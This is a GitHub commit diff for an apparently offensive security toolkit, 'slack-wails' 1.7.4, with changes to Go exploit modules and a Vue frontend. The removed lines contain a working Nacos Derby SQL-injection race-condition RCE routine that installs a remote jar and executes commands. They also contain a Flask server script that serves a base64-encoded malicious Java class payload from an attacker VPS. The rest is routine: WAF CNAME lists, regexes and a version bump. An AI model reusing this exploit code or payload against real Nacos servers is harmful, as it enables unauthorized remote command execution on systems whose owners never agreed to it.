Skip to content

Commit eecf6b4

Browse files
committed
update 1.7.4
1 parent 07deced commit eecf6b4

File tree

22 files changed

+752
-378
lines changed

22 files changed

+752
-378
lines changed

core/exp/nacos/derby_sql_rce.go

Lines changed: 198 additions & 0 deletions
Large diffs are not rendered by default.

core/exp/nacos/derby_test.go

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
package nacos
2+
3+
import (
4+
"testing"
5+
)
6+
7+
func TestXxx(t *testing.T) {
8+
// result := checkVuln("http://172.16.81.139:8848/nacos/", nil, http.DefaultClient)
9+
// fmt.Printf("result: %v\n", result)
10+
}

core/exp/nacos/nacos.go

Lines changed: 0 additions & 58 deletions
Original file line numberDiff line numberDiff line change
@@ -1,15 +1,9 @@
11
package nacos
22

33
import (
4-
"bytes"
5-
"context"
64
"fmt"
7-
"mime/multipart"
85
"net/http"
9-
"net/url"
106
"slack-wails/lib/clients"
11-
"slack-wails/lib/gologger"
12-
"slack-wails/lib/util"
137
"strings"
148
)
159

@@ -72,55 +66,3 @@ func CVE_2021_29442(url string, client *http.Client) string {
7266
}
7367
return result
7468
}
75-
76-
func DerbySqljinstalljarRCE(ctx context.Context, headers, target, command, service string, client *http.Client) string {
77-
var times int
78-
removalURL := target + "v1/cs/ops/data/removal"
79-
derbyURL := target + "v1/cs/ops/derby"
80-
var tempHeader []string
81-
if headers != "" && strings.Contains(headers, ":") {
82-
tempHeader = strings.Split(headers, ":")
83-
}
84-
for i := 0; i < 1<<31-1; i++ {
85-
id := util.RandomStr(8)
86-
postSQL := fmt.Sprintf(
87-
`CALL sqlj.install_jar('%s', 'NACOS.%s', 0)
88-
CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.%s')
89-
CREATE FUNCTION S_EXAMPLE_%s( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'
90-
`, service, id, id, id)
91-
getSQL := fmt.Sprintf("select * from (select count(*) as b, S_EXAMPLE_%s('%s') as a from config_info) tmp /*ROWS FETCH NEXT*/", id, command)
92-
body := &bytes.Buffer{}
93-
writer := multipart.NewWriter(body)
94-
part, err := writer.CreateFormFile("file", "postSql")
95-
if err != nil {
96-
gologger.Debug(ctx, "Failed to create form file: "+err.Error())
97-
}
98-
_, err = part.Write([]byte(postSQL))
99-
if err != nil {
100-
gologger.Debug(ctx, "Failed to write to form file: "+err.Error())
101-
}
102-
writer.Close()
103-
header := map[string]string{
104-
"Content-Type": writer.FormDataContentType(),
105-
}
106-
if len(tempHeader) >= 2 {
107-
header[tempHeader[0]] = tempHeader[1]
108-
}
109-
_, respBody, err := clients.NewRequest("POST", removalURL, header, body, 10, true, client)
110-
if err != nil {
111-
gologger.Debug(ctx, err)
112-
}
113-
times++
114-
if times > 1000 {
115-
return "不存在该漏洞"
116-
}
117-
if strings.Contains(string(respBody), "\"code\":200") {
118-
_, getBody, err := clients.NewSimpleGetRequest(derbyURL+"?sql="+url.QueryEscape(getSQL), client)
119-
if err != nil {
120-
gologger.Debug(ctx, "Failed to read response body: "+err.Error())
121-
}
122-
return string(getBody)
123-
}
124-
}
125-
return "不存在该漏洞"
126-
}

core/waf/waf.go

Lines changed: 22 additions & 21 deletions
Original file line numberDiff line numberDiff line change
@@ -8,27 +8,28 @@ import (
88

99
var (
1010
WAFs = map[string][]string{
11-
"sanfor-shield": {".sangfordns.com"},
12-
"360panyun": {".360panyun.com"},
13-
"baiduyun": {".yunjiasu-cdn.net"},
14-
"chuangyudun": {".365cyd.cn", ".cyudun.net", ".365cyd.net"},
15-
"knownsec": {".jiashule.com", ".jiasule.org"},
16-
"huaweicloud": {".huaweicloudwaf.com"},
17-
"xinliuyun": {".ngaagslb.cn"},
18-
"chinacache": {".chinacache.net", ".ccgslb.net", ".chinacache.com"},
19-
"nscloudwaf": {".nscloudwaf.com"},
20-
"wangsu": {".wsssec.com", ".lxdns.com", ".wscdns.com", ".cdn20.com", ".cdn30.com", ".ourplat.net", ".wsdvs.com", ".wsglb0.com", ".wswebcdn.com", ".wswebpic.com", ".wsssec.com", ".wscloudcdn.com", ".mwcloudcdn.com", ".chinanetcenter.com"},
21-
"qianxin": {".360safedns.com", ".360cloudwaf.com", ".360wzb.com", ".qaxcloudwaf.com"},
22-
"baiduyunjiasu": {".yunjiasu-cdn.net"},
23-
"anquanbao": {".anquanbao.net", ".anquanbao.com"},
24-
"aliyun": {"kunlun", "aliyunddos", "aliyunwaf", "aligaofang", "aliyundunwaf", ".yundunwaf2.com", ".yundunwaf1.com"},
25-
"xuanwudun": {".saaswaf.com", ".dbappwaf.cn"},
26-
"yundun": {".hwwsdns.cn", ".yunduncname.com"},
27-
"knownsec-ns": {".jiasule.net"},
28-
"baiduyunjiasue": {".ns.yunjiasu.com"},
29-
"cloudflare": {".ns.cloudflare.com"},
30-
"edns": {".iidns.com"},
31-
"ksyun": {".ksyunwaf.com"},
11+
"sanfor-shield": {".sangfordns.com"},
12+
"360panyun": {".360panyun.com"},
13+
"baiduyun": {".yunjiasu-cdn.net"},
14+
"chuangyudun": {".365cyd.cn", ".cyudun.net", ".365cyd.net"},
15+
"knownsec": {".jiashule.com", ".jiasule.org"},
16+
"huaweicloud": {".huaweicloudwaf.com"},
17+
"xinliuyun": {".ngaagslb.cn"},
18+
"chinacache": {".chinacache.net", ".ccgslb.net", ".chinacache.com"},
19+
"nscloudwaf": {".nscloudwaf.com"},
20+
"wangsu": {".wsssec.com", ".lxdns.com", ".wscdns.com", ".cdn20.com", ".cdn30.com", ".ourplat.net", ".wsdvs.com", ".wsglb0.com", ".wswebcdn.com", ".wswebpic.com", ".wsssec.com", ".wscloudcdn.com", ".mwcloudcdn.com", ".chinanetcenter.com"},
21+
"qianxin": {".360safedns.com", ".360cloudwaf.com", ".360wzb.com", ".qaxcloudwaf.com"},
22+
"baiduyunjiasu": {".yunjiasu-cdn.net"},
23+
"anquanbao": {".anquanbao.net", ".anquanbao.com"},
24+
"aliyun": {"kunlun", "aliyunddos", "aliyunwaf", "aligaofang", "aliyundunwaf", ".yundunwaf2.com", ".yundunwaf1.com"},
25+
"xuanwudun": {".saaswaf.com", ".dbappwaf.cn"},
26+
"yundun": {".hwwsdns.cn", ".yunduncname.com"},
27+
"knownsec-ns": {".jiasule.net"},
28+
"baiduyunjiasue": {".ns.yunjiasu.com"},
29+
"cloudflare": {".ns.cloudflare.com"},
30+
"edns": {".iidns.com"},
31+
"ksyun": {".ksyunwaf.com"},
32+
"jdcloud-star-shield": {".cloud-scdn.com"},
3233
}
3334
)
3435

core/webscan/callnuclei.go

Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -77,6 +77,65 @@ func NewNucleiEngine(ctx context.Context, proxy clients.Proxy, o structs.NucleiO
7777
defer ne.Close()
7878
}
7979

80+
// func NewThreadSafeNucleiEngine(ctx context.Context, proxy clients.Proxy, o structs.NucleiOption) {
81+
// if o.SkipNucleiWithoutTags && len(o.Tags) == 0 {
82+
// gologger.Info(ctx, fmt.Sprintf("[nuclei] %s does not have tags, scan skipped", o.URL))
83+
// return
84+
// }
85+
// options := []nuclei.NucleiSDKOptions{
86+
// nuclei.DisableUpdateCheck(), // -duc
87+
// }
88+
// // 判断是使用指定poc文件还是根据标签
89+
// if len(o.TemplateFile) == 0 {
90+
// options = append(options, nuclei.WithTemplatesOrWorkflows(nuclei.TemplateSources{
91+
// Templates: o.TemplateFolders,
92+
// }))
93+
// options = append(options, nuclei.WithTemplateFilters(nuclei.TemplateFilters{
94+
// Tags: o.Tags,
95+
// }))
96+
// } else {
97+
// // 指定poc文件的时候就要删除tags标签
98+
// options = append(options, nuclei.WithTemplatesOrWorkflows(nuclei.TemplateSources{
99+
// Templates: o.TemplateFile,
100+
// }))
101+
// }
102+
// var proxys string
103+
// if proxy.Enabled {
104+
// proxys = fmt.Sprintf("%s://%s:%s@%s:%d", proxy.Mode, proxy.Username, proxy.Password, proxy.Address, proxy.Port)
105+
// options = append(options, nuclei.WithProxy([]string{proxys}, false)) // -proxy
106+
// }
107+
// ne, err := nuclei.NewThreadSafeNucleiEngineCtx(context.Background(), options...)
108+
// if err != nil {
109+
// gologger.Error(ctx, fmt.Sprintf("nuclei init engine err: %v", err))
110+
// return
111+
// }
112+
// // load targets and optionally probe non http/https targets
113+
// gologger.Info(ctx, fmt.Sprintf("[nuclei] check vuln: %s", o.URL))
114+
// ne.ExecuteNucleiWithOptsCtx(context.Background(), []string{o.URL}, options...)
115+
// ne.GlobalResultCallback(func(event *output.ResultEvent) {
116+
// gologger.Success(ctx, fmt.Sprintf("[%s] [%s] %s", event.TemplateID, event.Info.SeverityHolder.Severity.String(), event.Matched))
117+
// var reference string
118+
// if event.Info.Reference != nil && !event.Info.Reference.IsEmpty() {
119+
// reference = strings.Join(event.Info.Reference.ToSlice(), ",")
120+
// }
121+
// runtime.EventsEmit(ctx, "nucleiResult", structs.VulnerabilityInfo{
122+
// ID: event.TemplateID,
123+
// Name: event.Info.Name,
124+
// Description: event.Info.Description,
125+
// Reference: reference,
126+
// URL: showMatched(event),
127+
// Request: showRequest(event),
128+
// Response: showResponse(event),
129+
// ResponseTime: limitDecimalPlaces(event.ResponseTime),
130+
// Extract: strings.Join(event.ExtractedResults, " | "),
131+
// Type: strings.ToUpper(event.Type),
132+
// Severity: strings.ToUpper(event.Info.SeverityHolder.Severity.String()),
133+
// })
134+
// })
135+
136+
// defer ne.Close()
137+
// }
138+
80139
func showMatched(event *output.ResultEvent) string {
81140
if event.Matched != "" {
82141
return event.Matched

frontend/src/assets/icon/alibaba.svg

Lines changed: 1 addition & 0 deletions
Loading

frontend/src/assets/icon/extract.svg

Lines changed: 0 additions & 4 deletions
This file was deleted.

frontend/src/components/Exp/Hikvision.vue

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -23,8 +23,8 @@
2323
<el-col :span="14">
2424
<el-form-item label="目标:">
2525
<div class="textarea-container">
26-
<el-input v-model="form.url" type="textarea" placeholder="请输入URL根路径" :rows="5" resize="none"
27-
class="custom-textarea"></el-input>
26+
<el-input v-model="form.url" type="textarea" placeholder="请输入URL根路径"
27+
:rows="5" resize="none"></el-input>
2828
<div class="action-area">
2929
<el-button :icon="Upload" size="small" @click="uploadFile">Upload</el-button>
3030
</div>
@@ -35,7 +35,7 @@
3535
<el-form-item label="密码:">
3636
<div class="textarea-container">
3737
<el-input v-model="form.passwordList" type="textarea" :rows="5" resize="none"
38-
placeholder="请输入密码列表" class="custom-textarea"></el-input>
38+
placeholder="请输入密码列表"></el-input>
3939
<div class="action-area">
4040
<el-button :icon="Close" circle size="small" @click="form.passwordList = ''"></el-button>
4141
</div>

frontend/src/components/Exp/Nacos.vue

Lines changed: 6 additions & 54 deletions
Original file line numberDiff line numberDiff line change
@@ -8,39 +8,12 @@ const form = reactive({
88
username: "qioxzcio",
99
password: "Aoioxzcoio123.",
1010
command: "whoami",
11-
service: "",
1211
header: "",
1312
content: "",
1413
selectVulnerability: 0
1514
})
1615
1716
18-
function onChange() {
19-
if (form.selectVulnerability == 3) {
20-
form.content = `请复制下面脚本到VPS上启动,需要修改host和port端口和安装flask、requests的依赖
21-
22-
import base64
23-
from flask import Flask, send_file,Response
24-
import config
25-
26-
payload = b'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'
27-
28-
app = Flask(__name__)
29-
30-
31-
@app.route('/download')
32-
def download_file():
33-
data = base64.b64decode(payload)
34-
response = Response(data, mimetype="application/octet-stream")
35-
return response
36-
37-
if __name__ == '__main__':
38-
app.run(host='192.168.9.128', port='5000')`
39-
} else {
40-
form.content = ""
41-
}
42-
}
43-
4417
const vulnerabilityGroup = [
4518
{
4619
name: "CVE-2021-29441 STEP 1 任意用户添加",
@@ -54,24 +27,15 @@ const vulnerabilityGroup = [
5427
name: "CVE-2021-29442 Derby SQL注入",
5528
value: 2
5629
},
57-
{
58-
name: "Derby SQLi 条件竞争 RCE",
59-
value: 3
60-
},
30+
// {
31+
// name: "Derby SQLi 条件竞争 RCE",
32+
// value: 3
33+
// },
6134
]
6235
6336
async function useVulnerability() {
6437
form.url = AddRightSubString(form.url, "/")
65-
if (!form.service.endsWith("/")) {
66-
form.service += "/download"
67-
} else {
68-
form.service += "download"
69-
}
70-
if (form.selectVulnerability == 3 && !form.service) {
71-
ElMessage.warning("请输入服务端地址!")
72-
return
73-
}
74-
form.content = await AlibabaNacos(form.url,form.header ,form.selectVulnerability, form.username, form.password, form.command, form.service, getProxy())
38+
form.content = await AlibabaNacos(form.url,form.header ,form.selectVulnerability, form.username, form.password, form.command, "", getProxy())
7539
}
7640
</script>
7741

@@ -81,7 +45,7 @@ async function useVulnerability() {
8145
<div class="head">
8246
<el-input v-model="form.url" placeholder="请输入Nacos主页路径,例如 https://192.168.1.1/nacos/">
8347
<template #prepend>
84-
<el-select style="width: 300px;" placeholder="请选择漏洞" v-model="form.selectVulnerability" @change="onChange">
48+
<el-select style="width: 300px;" placeholder="请选择漏洞" v-model="form.selectVulnerability">
8549
<el-option v-for="vulnerability in vulnerabilityGroup" :value="vulnerability.value"
8650
:label="vulnerability.name" />
8751
</el-select>
@@ -109,18 +73,6 @@ async function useVulnerability() {
10973
</template>
11074
</el-input>
11175
</el-form-item>
112-
<el-form-item v-show="form.selectVulnerability == 3">
113-
<el-input v-model="form.service" style="width: 50%;">
114-
<template #prepend>
115-
Service:
116-
</template>
117-
</el-input>
118-
<el-input v-model="form.command" style="width: 50%;">
119-
<template #prepend>
120-
CMD:
121-
</template>
122-
</el-input>
123-
</el-form-item>
12476
</el-form>
12577
<pre class="pretty-response" style="height: 63vh;"><code>{{ form.content }}</code></pre>
12678
</template>

frontend/src/global/index.ts

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -58,7 +58,7 @@ const Logger = reactive({
5858
length: 100, // 日志显示条数
5959
})
6060

61-
const LOCAL_VERSION = "1.7.3"
61+
const LOCAL_VERSION = "1.7.4"
6262

6363
const Language = ref("zh")
6464
const Theme = ref(false)

frontend/src/stores/interface.ts

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -136,9 +136,10 @@ export interface PocDetail {
136136

137137

138138
export interface TablePane {
139-
title: string
140139
name: string
141140
content: string
141+
rowsCount: number
142+
matchedType: string
142143
}
143144

144145
export interface DatabaseConnection {

frontend/src/stores/validate.ts

Lines changed: 6 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -75,4 +75,9 @@ export function validateWebscan(input: string) {
7575

7676
export const regexpPhone = /(13[0-9]|14[01456879]|15[0-35-9]|16[2567]|17[0-8]|18[0-9]|19[0-35-9])\d{8}/g;
7777
export const regexpIdCard = /[1-9]\d{5}(19|20)\d{2}(0[1-9]|1[012])(0[1-9]|[12]\d|3[01])\d{3}[0-9Xx]/g;
78-
export const regexpAKSK = /access/g;
78+
export const regexpAKSK = /access/g;
79+
export const regexAlibabaDruidWebURI = /(?<="URI":")[^"]+/g;
80+
81+
export const regexAlibabaDruidWebSession = /(?<="SESSIONID":")[^"]+/g;
82+
export const regexURL = /https?:\/\/[^\s/$.?#].[^\s]*/g;
83+

frontend/src/style/style.css

Lines changed: 0 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -324,12 +324,6 @@ html {
324324
width: 100%;
325325
}
326326

327-
.custom-textarea {
328-
width: 100%;
329-
padding-right: 50px;
330-
/* Space for the action area */
331-
}
332-
333327
.action-area {
334328
position: absolute;
335329
bottom: 10px;

0 commit comments

Comments
 (0)